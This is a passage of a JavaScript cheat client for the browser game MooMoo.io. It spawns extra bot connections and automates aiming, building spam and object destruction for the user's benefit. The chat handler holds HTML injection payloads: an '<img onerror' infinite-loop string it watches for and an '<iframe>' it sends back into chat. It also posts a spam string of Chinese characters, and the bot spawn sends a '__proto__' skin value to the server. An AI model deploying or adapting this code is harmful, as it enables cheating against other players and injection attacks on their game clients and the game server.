  8559. let tmpPlayer = findPlayerBySID(sid);
  8560. addMenuChText(`${tmpPlayer.name}[${tmpPlayer.sid}]`, message, "white");
  8561. tmpPlayer.chatMessage = message;
  8562. tmpPlayer.chatCountdown = config.chatCountdown;
  8563. var antikick = document.getElementById("antikick");
  8564. if (antikick && antikick.checked && message.includes('<img onerror="for(;;){}" src=>')) {
  8565. io.send("6", '<iframe src="//moomoo.io">');
  8566. }
  8567. if (message.includes('!Star Disc')) {
  8568. io.send("6", '拉斯维加斯拉斯维加斯拉斯维加斯拉斯维加斯拉斯维');
  8569. }
  8570. var musketCheckbox = document.getElementById("musketSync");
  8571. if (musketCheckbox && musketCheckbox.checked && message === "!Sync") {
  8572. musketSync();
  8573. io.send("6", "!Sync");
  8574. }
  8575. if (message === 'insta em!' && player.reloads[player.weapons[0]] === 0 && player.reloads[player.weapons[1]] === 0) {
  8576. packet("6", "");
  8577. my.autoAim = true;
  8578. selectWeapon(player.weapons[0]);
  8579. buyEquip(7, 0);
  8580. sendAutoGather();
  8581. game.tickBase(() => {
  8582. selectWeapon(player.weapons[1]);
  8583. buyEquip(player.reloads[53] === 0 ? 53 : 6, 0);
  8584. game.tickBase(() => {
  8585. sendAutoGather();
  8586. my.autoAim = false;
  8587. }, 3);
  8588. }, 2);
  8589. }
  8590. }
  8591.  
  8592. // MINIMAP:
  8593. function updateMinimap(data) {
  8594. minimapData = data;
  8595. }
  8596.  
  8597. // SHOW ANIM TEXT:
  8598. function showText(x, y, value, type) {
  8599. // if (config.anotherVisual) {
  8600. textManager.stack.push({
  8601. x: x,
  8602. y: y,
  8603. value: value
  8604. });
  8605. // } else {
  8606. // textManager.showText(x, y, 50, 0.18, useWasd ? 500 : 1500, Math.abs(value), (value >= 0) ? "#fff" : "#8ecc51");
  8607. // }
  8608. }
  8609.  
  8610. /** APPLY SOCKET CODES */
  8611.  
  8612. // BOT:
  8613. let bots = [];
  8614. let ranLocation = {
  8615. x: UTILS.randInt(35, 14365),
  8616. y: UTILS.randInt(35, 14365)
  8617. };
  8618. setInterval(() => {
  8619. ranLocation = {
  8620. x: UTILS.randInt(35, 14365),
  8621. y: UTILS.randInt(35, 14365)
  8622. };
  8623. }, 60000);
  8624. class Bot {
  8625. constructor(id, sid, hats, accessories) {
  8626. this.millPlace = true;
  8627. this.id = id;
  8628. this.sid = sid;
  8629. this.team = null;
  8630. this.skinIndex = 0;
  8631. this.tailIndex = 0;
  8632. this.hitTime = 0;
  8633. this.iconIndex = 0;
  8634. this.enemy = [];
  8635. this.near = [];
  8636. this.dist2 = 0;
  8637. this.aim2 = 0;
  8638. this.tick = 0;
  8639. this.itemCounts = {};
  8640. this.latestSkin = 0;
  8641. this.latestTail = 0;
  8642. this.points = 0;
  8643. this.tails = {};
  8644. for (let i = 0; i < accessories.length; ++i) {
  8645. if (accessories[i].price <= 0)
  8646. this.tails[accessories[i].id] = 1;
  8647. }
  8648. this.skins = {};
  8649. for (let i = 0; i < hats.length; ++i) {
  8650. if (hats[i].price <= 0)
  8651. this.skins[hats[i].id] = 1;
  8652. }
  8653. this.spawn = function(moofoll) {
  8654. this.upgraded = 0;
  8655. this.enemy = [];
  8656. this.near = [];
  8657. this.active = true;
  8658. this.alive = true;
  8659. this.lockMove = false;
  8660. this.lockDir = false;
  8661. this.minimapCounter = 0;
  8662. this.chatCountdown = 0;
  8663. this.shameCount = 0;
  8664. this.shameTimer = 0;
  8665. this.sentTo = {};
  8666. this.gathering = 0;
  8667. this.autoGather = 0;
  8668. this.animTime = 0;
  8669. this.animSpeed = 0;
  8670. this.mouseState = 0;
  8671. this.buildIndex = -1;
  8672. this.weaponIndex = 0;
  8673. this.dmgOverTime = {};
  8674. this.noMovTimer = 0;
  8675. this.maxXP = 300;
  8676. this.XP = 0;
  8677. this.age = 1;
  8678. this.kills = 0;
  8679. this.upgrAge = 2;
  8680. this.upgradePoints = 0;
  8681. this.x = 0;
  8682. this.y = 0;
  8683. this.zIndex = 0;
  8684. this.xVel = 0;
  8685. this.yVel = 0;
  8686. this.slowMult = 1;
  8687. this.dir = 0;
  8688. this.nDir = 0;
  8689. this.dirPlus = 0;
  8690. this.targetDir = 0;
  8691. this.targetAngle = 0;
  8692. this.maxHealth = 100;
  8693. this.health = this.maxHealth;
  8694. this.oldHealth = this.maxHealth;
  8695. this.scale = config.playerScale;
  8696. this.speed = config.playerSpeed;
  8697. this.resetMoveDir();
  8698. this.resetResources(moofoll);
  8699. this.items = [0, 3, 6, 10];
  8700. this.weapons = [0];
  8701. this.shootCount = 0;
  8702. this.weaponXP = [];
  8703. this.isBot = false;
  8704. this.reloads = {
  8705. 0: 0,
  8706. 1: 0,
  8707. 2: 0,
  8708. 3: 0,
  8709. 4: 0,
  8710. 5: 0,
  8711. 6: 0,
  8712. 7: 0,
  8713. 8: 0,
  8714. 9: 0,
  8715. 10: 0,
  8716. 11: 0,
  8717. 12: 0,
  8718. 13: 0,
  8719. 14: 0,
  8720. 15: 0,
  8721. 53: 0,
  8722. };
  8723. this.timeZinceZpawn = 0;
  8724. this.whyDie = "";
  8725. this.clearRadius = false;
  8726. this.circlee = 0;
  8727. };
  8728.  
  8729. // RESET MOVE DIR:
  8730. this.resetMoveDir = function() {
  8731. this.moveDir = undefined;
  8732. };
  8733.  
  8734. // RESET RESOURCES:
  8735. this.resetResources = function(moofoll) {
  8736. for (let i = 0; i < config.resourceTypes.length; ++i) {
  8737. this[config.resourceTypes[i]] = moofoll ? 100 : 0;
  8738. }
  8739. };
  8740.  
  8741. // SET DATA:
  8742. this.setData = function(data) {
  8743. this.id = data[0];
  8744. this.sid = data[1];
  8745. this.name = data[2];
  8746. this.x = data[3];
  8747. this.y = data[4];
  8748. this.dir = data[5];
  8749. this.health = data[6];
  8750. this.maxHealth = data[7];
  8751. this.scale = data[8];
  8752. this.skinColor = data[9];
  8753. };
  8754.  
  8755.  
  8756. // SHAME SYSTEM:
  8757. this.judgeShame = function () {
  8758. if (this.oldHealth < this.health) {
  8759. if (this.hitTime) {
  8760. let timeSinceHit = this.tick - this.hitTime;
  8761. this.hitTime = 0;
  8762. if (timeSinceHit < 2) {
  8763. this.shameCount++;
  8764. } else {
  8765. this.shameCount = Math.max(0, this.shameCount - 2);
  8766. }
  8767. }
  8768. } else if (this.oldHealth > this.health) {
  8769. this.hitTime = this.tick;
  8770. }
  8771. };
  8772.  
  8773. // UPDATE WEAPON RELOAD:
  8774. this.manageReloadaa = function() {
  8775. if (this.shooting[53]) {
  8776. this.shooting[53] = 0;
  8777. this.reloads[53] = (2500 - 1000/9);
  8778. } else {
  8779. if (this.reloads[53] > 0) {
  8780. this.reloads[53] = Math.max(0, this.reloads[53] - 1000/9);
  8781. }
  8782. }
  8783. if (this.gathering || this.shooting[1]) {
  8784. if (this.gathering) {
  8785. this.gathering = 0;
  8786. this.reloads[this.gatherIndex] = (items.weapons[this.gatherIndex].speed * (this.skinIndex == 20 ? 0.78 : 1));
  8787. this.attacked = true;
  8788. }
  8789. if (this.shooting[1]) {
  8790. this.shooting[1] = 0;
  8791. this.reloads[this.shootIndex] = (items.weapons[this.shootIndex].speed * (this.skinIndex == 20 ? 0.78 : 1));
  8792. this.attacked = true;
  8793. }
  8794. } else {
  8795. this.attacked = false;
  8796. if (this.buildIndex < 0) {
  8797. if (this.reloads[this.weaponIndex] > 0) {
  8798. this.reloads[this.weaponIndex] = Math.max(0, this.reloads[this.weaponIndex] - game.tickRate);
  8799. }
  8800. }
  8801. }
  8802. };
  8803.  
  8804. this.closeSockets = function(websc) {
  8805. websc.close();
  8806. };
  8807.  
  8808. this.whyDieChat = function(websc, whydie) {
  8809. websc.sendWS("6", "why die XDDD " + whydie);
  8810. };
  8811. }
  8812. };
  8813.  
  8814. class BotObject {
  8815. constructor(sid) {
  8816. this.sid = sid;
  8817. // INIT:
  8818. this.init = function(x, y, dir, scale, type, data, owner) {
  8819. data = data || {};
  8820. this.active = true;
  8821. this.x = x;
  8822. this.y = y;
  8823. this.scale = scale;
  8824. this.owner = owner;
  8825. this.id = data.id;
  8826. this.dmg = data.dmg;
  8827. this.trap = data.trap;
  8828. this.teleport = data.teleport;
  8829. this.isItem = this.id != undefined;
  8830. };
  8831.  
  8832. }
  8833. };
  8834. class BotObjManager {
  8835. constructor(botObj, fOS) {
  8836. // DISABLE OBJ:
  8837. this.disableObj = function(obj) {
  8838. obj.active = false;
  8839. if (config.anotherVisual) {} else {
  8840. obj.alive = false;
  8841. }
  8842. };
  8843.  
  8844. // ADD NEW:
  8845. let tmpObj;
  8846. this.add = function(sid, x, y, dir, s, type, data, setSID, owner) {
  8847. tmpObj = fOS(sid);
  8848. if (!tmpObj) {
  8849. tmpObj = botObj.find((tmp) => !tmp.active);
  8850. if (!tmpObj) {
  8851. tmpObj = new BotObject(sid);
  8852. botObj.push(tmpObj);
  8853. }
  8854. }
  8855. if (setSID) {
  8856. tmpObj.sid = sid;
  8857. }
  8858. tmpObj.init(x, y, dir, s, type, data, owner);
  8859. };
  8860.  
  8861. // DISABLE BY SID:
  8862. this.disableBySid = function(sid) {
  8863. let find = fOS(sid);
  8864. if (find) {
  8865. this.disableObj(find);
  8866. }
  8867. };
  8868.  
  8869. // REMOVE ALL FROM PLAYER:
  8870. this.removeAllItems = function(sid, server) {
  8871. botObj.filter((tmp) => tmp.active && tmp.owner && tmp.owner.sid == sid).forEach((tmp) => this.disableObj(tmp));
  8872. };
  8873. }
  8874. };
  8875.  
  8876. let botz = [];
  8877.  
  8878. function botSpawn(id) {
  8879. let bot;
  8880. console.log(WS);
  8881. let t = WS.url.split("wss://")[1].split("?")[0];
  8882. bot = id && new WebSocket("wss://" + t + "?token=re:" + encodeURIComponent(id));
  8883. let botPlayer = new Map();
  8884. botSkts.push([botPlayer]);
  8885. botz.push([bot]);
  8886. let botSID;
  8887. let botObj = [];
  8888. let nearObj = [];
  8889. let bD = {
  8890. x: 0,
  8891. y: 0,
  8892. inGame: false,
  8893. closeSocket: false,
  8894. whyDie: ""
  8895. };
  8896. let oldXY = {
  8897. x: 0,
  8898. y: 0,
  8899. };
  8900. let izauto = 0;
  8901. let botObjManager = new BotObjManager(botObj, function(sid) { return findSID(botObj, sid); });
  8902. bot.binaryType = "arraybuffer";
  8903. bot.first = true;
  8904. bot.sendWS = function(type) {
  8905. // EXTRACT DATA ARRAY:
  8906. let data = Array.prototype.slice.call(arguments, 1);
  8907. // SEND MESSAGE:
  8908. let binary = window.msgpack.encode([type, data]);
  8909. bot.send(binary);
  8910. };
  8911. bot.spawn = function() {
  8912. bot.sendWS("M", {
  8913. name: "Botss",
  8914. moofoll: 1,
  8915. skin: "__proto__"
  8916. });
  8917. };
  8918. bot.sendUpgrade = function(index) {
  8919. bot.sendWS("H", index);
  8920. };
  8921. bot.place = function(id, a) {
  8922. try {
  8923. let item = items.list[botPlayer.items[id]];
  8924. if (botPlayer.itemCounts[item.group.id] == undefined ? true : botPlayer.itemCounts[item.group.id] < (config.isSandbox ? 296 : item.group.limit ? item.group.limit : 296)) {
  8925. bot.sendWS("G", botPlayer.items[id]);
  8926. bot.sendWS("d", 1, a);
  8927. bot.sendWS("G", botPlayer.weaponIndex, true);
  8928. }
  8929. } catch (e) {
  8930. }
  8931. };
  8932. bot.buye = function(id, index) {
  8933. let nID = 0;
  8934. if (botPlayer.alive && botPlayer.inGame) {
  8935. if (index == 0) {
  8936. if (botPlayer.skins[id]) {
  8937. if (botPlayer.latestSkin != id) {
  8938. bot.sendWS("c", 0, id, 0);
  8939. }
  8940. } else {
  8941. let find = findID(hats, id);
  8942. if (find) {
  8943. if (botPlayer.points >= find.price) {
  8944. bot.sendWS("c", 1, id, 0);
  8945. bot.sendWS("c", 0, id, 0);
  8946. } else {
  8947. if (botPlayer.latestSkin != nID) {
  8948. bot.sendWS("c", 0, nID, 0);
  8949. }
  8950. }
  8951. } else {
  8952. if (botPlayer.latestSkin != nID) {
  8953. bot.sendWS("c", 0, nID, 0);
  8954. }
  8955. }
  8956. }
  8957. } else if (index == 1) {
  8958. if (botPlayer.tails[id]) {
  8959. if (botPlayer.latestTail != id) {
  8960. bot.sendWS("c", 0, id, 1);
  8961. }
  8962. } else {
  8963. let find = findID(accessories, id);
  8964. if (find) {
  8965. if (botPlayer.points >= find.price) {
  8966. bot.sendWS("c", 1, id, 1);
  8967. bot.sendWS("c", 0, id, 1);
  8968. } else {
  8969. if (botPlayer.latestTail != 0) {
  8970. bot.sendWS("c", 0, 0, 1);
  8971. }
  8972. }
  8973. } else {
  8974. if (botPlayer.latestTail != 0) {
  8975. bot.sendWS("c", 0, 0, 1);
  8976. }
  8977. }
  8978. }
  8979. }
  8980. }
  8981. };
  8982. bot.fastGear = function () {
  8983. if (botPlayer.y2 >= config.mapScale / 2 - config.riverWidth / 2 && botPlayer.y2 <= config.mapScale / 2 + config.riverWidth / 2) {
  8984. bot.buye(31, 0);
  8985. } else {
  8986. if (botPlayer.moveDir == undefined) {
  8987. bot.buye(22, 0);
  8988. } else {
  8989. if (botPlayer.y2 <= config.snowBiomeTop) {
  8990. bot.buye(15, 0);
  8991. } else {
  8992. bot.buye(12, 0);
  8993. }
  8994. }
  8995. }
  8996. };
  8997. bot.selectWeapon = function(a) {
  8998. packet("G", a, 1);
  8999. }
  9000. function caf(e, t) {
  9001. try {
  9002. return Math.atan2((t.y2 || t.y) - (e.y2 || e.y), (t.x2 || t.x) - (e.x2 || e.x));
  9003. } catch (e) {
  9004. return 0;
  9005. }
  9006. }
  9007. bot.heal = function() {
  9008. if (botPlayer.health < 100) {
  9009. bot.place(0, 0)
  9010. }
  9011. }
  9012. function cdf (e, t){
  9013. try {
  9014. return Math.hypot((t.y2||t.y)-(e.y2||e.y), (t.x2||t.x)-(e.x2||e.x));
  9015. } catch(e){
  9016. return Infinity;
  9017. }
  9018. }
  9019. let zoon = 'no';
  9020. bot.zync = function(a) {
  9021. if (!botPlayer.millPlace) {
  9022. zoon = 'yeah';
  9023. bot.place(5, caf(botPlayer, a));
  9024. let NextTickLocation = {
  9025. x: botPlayer.x + Math.cos(caf(a, botPlayer) - Math.PI) * 80,
  9026. y: botPlayer.y + Math.sin(caf(a, botPlayer) - Math.PI) * 80,
  9027. x2: botPlayer.x + Math.cos(caf(a, botPlayer) - Math.PI) * 80,
  9028. y2: botPlayer.y + Math.sin(caf(a, botPlayer) - Math.PI) * 80,
  9029. };
  9030.  
  9031. function calculateDistance(x1, y1, x2, y2) {
  9032. let distance = Math.sqrt(Math.pow((x2 - x1), 2) + Math.pow((y2 - y1), 2));
  9033. return distance;
  9034. }
  9035. function dotherezt() {
  9036. bot.sendWS("6", calculateDistance(NextTickLocation.x, NextTickLocation.y, botPlayer.x, botPlayer.y)+'');
  9037. bot.sendWS("D", caf(a, botPlayer) - Math.PI);
  9038. }
  9039.  
  9040. let aa = setInterval(() => {
  9041. bot.sendWS("G", botPlayer.weapons[1], true);
  9042. if (izauto == 0) {
  9043. bot.sendWS("K", 1);
  9044. izauto = 1;
  9045. }
  9046. setTimeout(() => {
  9047. bot.sendWS("G", botPlayer.weapons[0], true);
  9048. }, 2000);
  9049. bot.buye(53, 0);
  9050. if (calculateDistance(NextTickLocation.x, NextTickLocation.y, botPlayer.x, botPlayer.y) > 5) {
  9051. bot.sendWS("a", caf(botPlayer, NextTickLocation));
  9052. } else {
  9053. bot.sendWS("6", calculateDistance(NextTickLocation.x, NextTickLocation.y, botPlayer.x, botPlayer.y)+'');
  9054. zoon = 'no';
  9055. bot.sendWS("a", undefined);
  9056. dotherezt();
  9057. clearInterval(aa);
  9058. }
  9059. }, 150);
  9060.  
  9061. setTimeout(() => {
  9062. zoon = 'no';
  9063. clearInterval(aa);
  9064. }, 500);
  9065. }
  9066. };
  9067. bot.onmessage = function(message) {
  9068. let data = new Uint8Array(message.data);
  9069. let parsed = window.msgpack.decode(data);
  9070. let type = parsed[0];
  9071. data = parsed[1];
  9072. if (type == "io-init") {
  9073. bot.spawn();
  9074. }
  9075. if (type == "1") {
  9076. botSID = data[0];
  9077. console.log(botSID)
  9078. }
  9079. if (type == "D") {
  9080. if (data[1]) {
  9081. botPlayer = new Bot(data[0][0], data[0][1], hats, accessories);
  9082. botPlayer.setData(data[0]);
  9083. botPlayer.inGame = true;
  9084. botPlayer.alive = true;
  9085. botPlayer.x2 = undefined;
  9086. botPlayer.y2 = undefined;
  9087. botPlayer.spawn(1);
  9088. botPlayer.oldHealth = 100;
  9089. botPlayer.health = 100;
  9090. botPlayer.showName = 'YEAHHH';
  9091. oldXY = {
  9092. x: data[0][3],
  9093. y: data[0][4]
  9094. }
  9095. bD.inGame = true;
  9096. if (bot.first) {
  9097. bot.first = false;
  9098. bots.push(bD);
  9099. }
  9100. }
  9101. }
  9102. if (type == "P") {
  9103. bot.spawn();
  9104. botPlayer.inGame = false;
  9105. bD.inGame = false;
  9106. }
  9107. if (type == "a") {
  9108. let tmpData = data[0];
  9109. botPlayer.tick++;
  9110. botPlayer.enemy = [];
  9111. botPlayer.near = [];
  9112. bot.showName = 'YEAHHH';
  9113. nearObj = [];
  9114. for (let i = 0; i < tmpData.length;) {
  9115. if (tmpData[i] == botPlayer.sid) {
  9116. botPlayer.x2 = tmpData[i + 1];
  9117. botPlayer.y2 = tmpData[i + 2];
  9118. botPlayer.d2 = tmpData[i + 3];
  9119. botPlayer.buildIndex = tmpData[i + 4];
  9120. botPlayer.weaponIndex = tmpData[i + 5];
  9121. botPlayer.weaponVariant = tmpData[i + 6];
  9122. botPlayer.team = tmpData[i + 7];
  9123. botPlayer.isLeader = tmpData[i + 8];
  9124. botPlayer.skinIndex = tmpData[i + 9];
  9125. botPlayer.tailIndex = tmpData[i + 10];
  9126. botPlayer.iconIndex = tmpData[i + 11];
  9127. botPlayer.zIndex = tmpData[i + 12];
  9128. botPlayer.visible = true;
  9129. bD.x2 = botPlayer.x2;
  9130. bD.y2 = botPlayer.y2;
  9131. }
  9132. i += 13;
  9133. }
  9134.  
  9135. for (let i = 0; i < tmpData.length;) {
  9136. tmpObj = findPlayerBySID(tmpData[i]);
  9137. if (tmpObj) {
  9138. if (!tmpObj.isTeam(botPlayer)) {
  9139. enemy.push(tmpObj);
  9140. if (tmpObj.dist2 <= items.weapons[tmpObj.primaryIndex == undefined ? 5 : tmpObj.primaryIndex].range + (botPlayer.scale * 2)) {
  9141. nears.push(tmpObj);
  9142. }
  9143. }
  9144. }
  9145. i += 13;
  9146. }
  9147.  
  9148. if (enemy.length) {
  9149. //console.log(enemy)
  9150. botPlayer.near = enemy.sort(function(tmp1, tmp2) {
  9151. return tmp1.dist2 - tmp2.dist2;
  9152. })[0];
  9153. }
  9154.  
  9155. if (izauto == 1) {
  9156. bot.sendWS("K", 1);
  9157. izauto = 0;
  9158. }
  9159.  
  9160. if (bD.closeSocket) {
  9161. botPlayer.closeSockets(bot);
  9162. }
  9163. if (bD.whyDie != "") {
  9164. botPlayer.whyDieChat(bot, bD.whyDie);
  9165. bD.whyDie = "";
  9166. }
  9167. if (botPlayer.alive) {
  9168. if (player.team) {
  9169. if (botPlayer.team != player.team && (botPlayer.tick % 9 === 0)) {
  9170. botPlayer.team && (bot.sendWS("N"));
  9171. bot.sendWS("b", player.team);
  9172. }
  9173. }
  9174.  
  9175. let item = items.list[botPlayer.items[3]];
  9176. let a = botPlayer.itemCounts[item.group.id]
  9177. if ((a != undefined ? a : 0) < 201 && botPlayer.millPlace) {
  9178. if (botPlayer.inGame) {
  9179. bot.sendWS("D", botPlayer.moveDir);
  9180. if (izauto == 0) {
  9181. bot.sendWS("K", 1);
  9182. izauto = 1;
  9183. }
  9184. if (UTILS.getDist(oldXY, botPlayer, 0, 2) > 90) {
  9185. let aim = UTILS.getDirect(oldXY, botPlayer, 0, 2);
  9186. bot.place(3, aim + 7.7);
  9187. bot.place(3, aim - 7.7);
  9188. bot.place(3, aim);
  9189. oldXY = {
  9190. x: botPlayer.x2,
  9191. y: botPlayer.y2
  9192. };
  9193. }
  9194.  
  9195. if (botPlayer.tick % 90 === 0) {
  9196. let rand = Math.random() * Math.PI * 2;
  9197. botPlayer.moveDir = rand;
  9198. bot.sendWS("a", botPlayer.moveDir);
  9199. }
  9200. }
  9201. bot.fastGear();
  9202. } else if((a != undefined ? a : 0) > 296 && botPlayer.millPlace) {
  9203. botPlayer.millPlace = false;
  9204. // bot.sendWS("K", 1);
  9205. bot.fastGear();
  9206. } else {
  9207. if (botPlayer.inGame) {
  9208. if (botObj.length > 0) {
  9209. let buldingtoawdoin = botObj.filter((e) => e.active && e.isItem && UTILS.getDist(e, player, 0, 2) <= (600));
  9210. if (getEl("mode").value == 'fuckemup') {
  9211. // if (getEl("mode").value == "clear") {
  9212. bot.selectWeapon(botPlayer.weapons[1]);
  9213. let gotoDist = UTILS.getDist(buldingtoawdoin[0], botPlayer, 0, 2);
  9214. let gotoAim = UTILS.getDirect(buldingtoawdoin[0], botPlayer, 0, 2);
  9215. nearObj = botObj.filter((e) => e.active && (findSID(buldingtoawdoin, e.sid) ? true : !(e.trap && (player.sid == e.owner.sid || player.findAllianceBySid(e.owner.sid)))) && e.isItem && UTILS.getDist(e, botPlayer, 0, 2) <= (items.weapons[botPlayer.weaponIndex].range + e.scale + 10)).sort(function(a, b) {
  9216. return UTILS.getDist(a, botPlayer, 0, 2) - UTILS.getDist(b, botPlayer, 0, 2);
  9217. })[0];
  9218. if (nearObj) {
  9219. let isPassed = UTILS.getDist(buldingtoawdoin[0], nearObj, 0, 0);
  9220. if ((gotoDist - isPassed) > 0) {
  9221. if (findSID(buldingtoawdoin, nearObj.sid) ? true : (nearObj.dmg || nearObj.trap)) {
  9222. if (botPlayer.moveDir != undefined) {
  9223. botPlayer.moveDir = undefined;
  9224. bot.sendWS("a", botPlayer.moveDir);
  9225. bot.sendWS("D", botPlayer.nDir);
  9226. }
  9227. } else {
  9228. botPlayer.moveDir = gotoAim;
  9229. bot.sendWS("a", botPlayer.moveDir);
  9230. bot.sendWS("D", botPlayer.nDir);
  9231. }
  9232. if (botPlayer.nDir != UTILS.getDirect(nearObj, botPlayer, 0, 2)) {
  9233. botPlayer.nDir = UTILS.getDirect(nearObj, botPlayer, 0, 2);
  9234. bot.sendWS("D", botPlayer.nDir);
  9235. }
  9236. if (izauto == 0) {
  9237. bot.sendWS("K", 1);
  9238. izauto = 1;
  9239. }
  9240. bot.buye(40, 0);
  9241. } else {
  9242. botPlayer.moveDir = gotoAim;
  9243. bot.sendWS("a", botPlayer.moveDir);
  9244. bot.sendWS("D", botPlayer.nDir);
  9245. bot.fastGear();
  9246. }
  9247. } else {
  9248. botPlayer.moveDir = gotoAim;
  9249. bot.sendWS("a", botPlayer.moveDir);
  9250. bot.sendWS("D", botPlayer.nDir);
  9251. bot.fastGear();
  9252. }
  9253. }
  9254. }
  9255.  
  9256.  
  9257.  
  9258. if (botObj.length > 0) {
  9259. if (getEl("mode").value == 'flex') {
  9260. const dir = botPlayer.sid * ((Math.PI * 2) / botPlayer.sid);
  9261. const x = Math.cos(Date.now() * 0.01) * 300 + player.x;
  9262. const y = Math.sin(Date.now() * 0.01) * 300 + player.x;
  9263.  
  9264. bot.sendWS("a", Math.atan2(y - botPlayer.y, x - botPlayer.x));
  9265.  
  9266. const dist = Math.hypot(x - botPlayer.x, y - botPlayer.y);
  9267. if (dist > 22) // 22 is player speed without booster hat
  9268. return;
  9269. }
  9270. }
  9271.  
  9272.  
  9273. if (botObj.length > 0) {
  9274. nearObj = botObj.filter((e) => e.active && e.isItem && UTILS.getDist(e, botPlayer, 0, 2) <= (items.weapons[botPlayer.weaponIndex].range)).sort(function(a, b) {
  9275. return UTILS.getDist(a, botPlayer, 0, 2) - UTILS.getDist(b, botPlayer, 0, 2);
  9276. })[0];
  9277.  
  9278. if (nearObj) {
  9279. if (izauto == 0) {
  9280. bot.sendWS("K", 1);
  9281. izauto = 1;
  9282. }
  9283. if (botPlayer.nDir != UTILS.getDirect(nearObj, botPlayer, 0, 2)) {
  9284. botPlayer.nDir = UTILS.getDirect(nearObj, botPlayer, 0, 2);
  9285. bot.sendWS("D", botPlayer.nDir);
  9286. }
  9287. bot.buye(40, 0);
  9288. bot.buye(11, 1);
  9289. } else {
  9290. bot.fastGear();
  9291. bot.buye(11, 1);
  9292. }
  9293. bot.buye(11, 1);
  9294. if (breakObjects.length > 0 && getEl("mode").value == 'clear') {
  9295. // if (getEl("mode").value == "clear") {
  9296. bot.selectWeapon(botPlayer.weapons[1]);
  9297. let gotoDist = UTILS.getDist(breakObjects[0], botPlayer, 0, 2);
  9298. let gotoAim = UTILS.getDirect(breakObjects[0], botPlayer, 0, 2);
  9299. nearObj = botObj.filter((e) => e.active && (findSID(breakObjects, e.sid) ? true : !(e.trap && (player.sid == e.owner.sid || player.findAllianceBySid(e.owner.sid)))) && e.isItem && UTILS.getDist(e, botPlayer, 0, 2) <= (items.weapons[botPlayer.weaponIndex].range + e.scale)).sort(function(a, b) {
  9300. return UTILS.getDist(a, botPlayer, 0, 2) - UTILS.getDist(b, botPlayer, 0, 2);
  9301. })[0];
  9302. if (nearObj) {
  9303. let isPassed = UTILS.getDist(breakObjects[0], nearObj, 0, 0);
  9304. if ((gotoDist - isPassed) > 0) {
  9305. if (findSID(breakObjects, nearObj.sid) ? true : (nearObj.dmg || nearObj.trap)) {
  9306. if (botPlayer.moveDir != undefined) {
  9307. botPlayer.moveDir = undefined;
  9308. bot.sendWS("a", botPlayer.moveDir);
  9309. bot.sendWS("D", botPlayer.nDir);
  9310. }
  9311. } else {
  9312. botPlayer.moveDir = gotoAim;
  9313. bot.sendWS("a", botPlayer.moveDir);
  9314. bot.sendWS("D", botPlayer.nDir);
  9315. }
  9316. if (botPlayer.nDir != UTILS.getDirect(nearObj, botPlayer, 0, 2)) {
  9317. botPlayer.nDir = UTILS.getDirect(nearObj, botPlayer, 0, 2);
  9318. bot.sendWS("D", botPlayer.nDir);
  9319. }
  9320. if (izauto == 0) {
  9321. bot.sendWS("K", 1);
  9322. izauto = 1;
  9323. }
  9324. bot.buye(40, 0);
  9325. bot.fastGear();
  9326. } else {
  9327. botPlayer.moveDir = gotoAim;
  9328. bot.sendWS("a", botPlayer.moveDir);
  9329. bot.sendWS("D", botPlayer.nDir);
  9330. bot.fastGear();
  9331. }
  9332. } else {
  9333. botPlayer.moveDir = gotoAim;
  9334. bot.sendWS("a", botPlayer.moveDir);
  9335. bot.sendWS("D", botPlayer.nDir);
  9336. bot.fastGear();
  9337. }
  9338. if (gotoDist > 300) {
  9339. if (UTILS.getDist(oldXY, botPlayer, 0, 2) > 90) {
  9340. let aim = UTILS.getDirect(oldXY, botPlayer, 0, 2);
  9341. bot.place(3, aim + 7.7);
  9342. bot.place(3, aim - 7.7);
  9343. bot.place(3, aim);
  9344. oldXY = {
  9345. x: botPlayer.x2,
  9346. y: botPlayer.y2
  9347. };
  9348. }
  9349. }
  9350. }
  9351. }
  9352.  
  9353. if (botObj.length > 0 && getEl("mode").value == 'zync') {
  9354. let wdaawdwad = botObj.filter((e) => e.active && e.isItem && UTILS.getDist(e, player, 0, 2) <= (items.weapons[botPlayer.weaponIndex].range + e.scale));
  9355.  
  9356. if(!wdaawdwad.length) {
  9357. if(zoon == 'no')
  9358. bot.sendWS("D", UTILS.getDirect(player, botPlayer, 0, 2));
  9359. bot.sendWS("a", caf(player, botPlayer) + Math.PI);
  9360. }
  9361.  
  9362. if(wdaawdwad.length) {
  9363. let gotoDist = UTILS.getDist(wdaawdwad[0], botPlayer, 0, 2);
  9364. let gotoAim = UTILS.getDirect(wdaawdwad[0], botPlayer, 0, 2);
  9365. nearObj = botObj.filter((e) => e.active && (findSID(wdaawdwad, e.sid) ? true : !(e.trap && (player.sid == e.owner.sid || player.findAllianceBySid(e.owner.sid)))) && e.isItem && UTILS.getDist(e, botPlayer, 0, 2) <= (items.weapons[botPlayer.weaponIndex].range + e.scale)).sort(function(a, b) {
  9366. return UTILS.getDist(a, botPlayer, 0, 2) - UTILS.getDist(b, botPlayer, 0, 2);
  9367. })[0];
  9368. if (nearObj) {
  9369. let isPassed = UTILS.getDist(wdaawdwad[0], nearObj, 0, 0);
  9370. if ((gotoDist - isPassed) > 0) {
  9371. if (findSID(wdaawdwad, nearObj.sid) ? true : (nearObj.dmg || nearObj.trap)) {
  9372. if (botPlayer.moveDir != undefined) {
  9373. botPlayer.moveDir = undefined;
  9374. bot.sendWS("a", botPlayer.moveDir);
  9375. bot.sendWS("D", botPlayer.nDir);
  9376. }
  9377. } else {
  9378. bot.sendWS("D", botPlayer.nDir);
  9379. }
  9380. if (botPlayer.nDir != UTILS.getDirect(nearObj, botPlayer, 0, 2)) {
  9381. botPlayer.nDir = UTILS.getDirect(nearObj, botPlayer, 0, 2);
  9382. bot.sendWS("D", botPlayer.nDir);
  9383. }
  9384. if (izauto == 0) {
  9385. bot.sendWS("K", 1);
  9386. izauto = 1;
  9387. }
  9388. bot.buye(40, 0);
  9389. bot.fastGear();
  9390. } else {
  9391. if(zoon == 'no')
  9392. bot.sendWS("D", UTILS.getDirect(nearObj, botPlayer, 0, 2));
  9393. if(cdf(player, botPlayer) <= 110)
  9394. bot.sendWS("a", undefined);
  9395. else
  9396. bot.sendWS("a", caf(player, botPlayer) + Math.PI);
  9397. }
  9398. } else {
  9399. if(wdaawdwad.length) {
  9400. if(zoon == 'no')
  9401. bot.sendWS("D", UTILS.getDirect(wdaawdwad[0], botPlayer, 0, 2));
  9402. if(cdf(player, botPlayer) <= 110)
  9403. bot.sendWS("a", undefined);
  9404. else
  9405. bot.sendWS("a", caf(player, botPlayer) + Math.PI);
  9406. } else {
  9407. if(zoon == 'no')
  9408. bot.sendWS("D", UTILS.getDirect(player, botPlayer, 0, 2));
